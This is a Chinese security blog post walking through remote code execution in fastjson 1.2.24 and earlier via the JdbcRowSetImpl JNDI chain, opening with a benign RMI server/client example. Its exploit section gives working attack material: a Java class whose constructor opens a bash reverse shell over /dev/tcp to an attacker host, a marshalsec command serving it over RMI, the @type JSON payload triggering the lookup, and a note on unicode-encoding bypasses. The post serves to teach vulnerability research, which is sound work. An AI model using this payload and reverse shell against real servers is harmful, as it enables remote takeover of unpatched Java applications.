[Java安全]fastjson≤1.2.24结合JdbcRowSetImpl利用链

RMI

首先不得不提一下RMI
RMI是Java远程方法调用,是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。
一个简单的例子,首先是server端

Server分三部分:

  1. ⼀个继承了 java.rmi.Remote 的接⼝,其中定义我们要远程调⽤的函数,⽐如这⾥的 hello()
  2. ⼀个实现了此接⼝的类
  3. ⼀个主类,⽤来创建Registry,并将上⾯的类实例化后绑定到⼀个地址。这就是我们所谓的Server 了。
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

public class RMIServer {
    public interface IRemoteCall extends Remote {
        public String hello() throws RemoteException;
    }

    public class RemoteCall extends UnicastRemoteObject implements
        IRemoteCall {
        protected RemoteCall() throws RemoteException {
            super();
        }

        public String hello() throws RemoteException {
            return "Hello";
        }
    }

    private void start() throws Exception {
        RemoteCall h = new RemoteCall();
        LocateRegistry.createRegistry(1099);
        Naming.rebind("rmi://127.0.0.1:1099/Hello", h);
    }

    public static void main(String[] args) throws Exception {
        new RMIServer().start();
    }
}

接下来通过客户端进行调用

import com.exploit.RMIServer
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;

public class Test {
    public static void main(String[] args) throws Exception {
        RMIServer.IRemoteCall hello = (RMIServer.IRemoteCall)
            Naming.lookup("rmi://192.168.135.142:1099/Hello");
        String ret = hello.hello();
        System.out.println(ret);
    }
}

Fastjson RCE关键函数

DefaultJSONParser.parseObject() 解析传入的 json 字符串提取不同的 key 进行后续的处理

TypeUtils.loadClass() 根据传入的类名,生成类的实例

JavaBeanDeserializer.Deserialze() 依次调用 @type中传入类的对象公有 set\get\is 方法。

ParserConfig.checkAutoType()阿里后续添加的防护函数,用于在 loadclass 前检查传入的类是否合法。

实际利用演示

我们借助marshalsec项目,启动一个RMI服务器,监听46000端口,并制定加载远程类TouchFile.class

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class TouchFile{
    public TouchFile() throws Exception {
        Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/ip/46001;cat <&5 | while read line; do $line 2>&5 >&5; done"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));

        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }

        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }

    public static void main(String[] args) throws Exception {
    }
}

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://ip/#TouchFile" 46000

接下来我们向服务器发送Payload,带上RMI的地址:
在这里插入图片描述

可以看见,成功反弹shell,帅气
在这里插入图片描述
当然我们甚至也可以使用unicode编码进行一些简单的绕过
在这里插入图片描述
这样一样可以接收到反弹的shell

JdbcRowSetImpl利用链分析

我们可以看见在其connect方法当中存在lookup方法并且我们跟踪看看this.getDataSourceName()
在这里插入图片描述
k

在这里插入图片描述
我们同时也可以找到赋值的set方法

在这里插入图片描述
调用这个set方法并不难(用@type),难点在于我们如何去调用这个connect方法,完美找到一个带set方法的调用,这里可以调用connect
在这里插入图片描述
那一切问题便迎刃而解,我们只需要按照调用顺序构造

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://rmi服务ip:端口/Exploit","autoCommit":true}

参考文章

https://zhuanlan.zhihu.com/p/73428357
https://blog.csdn.net/further_eye/article/details/109718241
https://www.freebuf.com/vuls/208339.html
http://blog.topsec.com.cn/java-jndi%E6%B3%A8%E5%85%A5%E7%9F%A5%E8%AF%86%E8%AF%A6%E8%A7%A3/

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值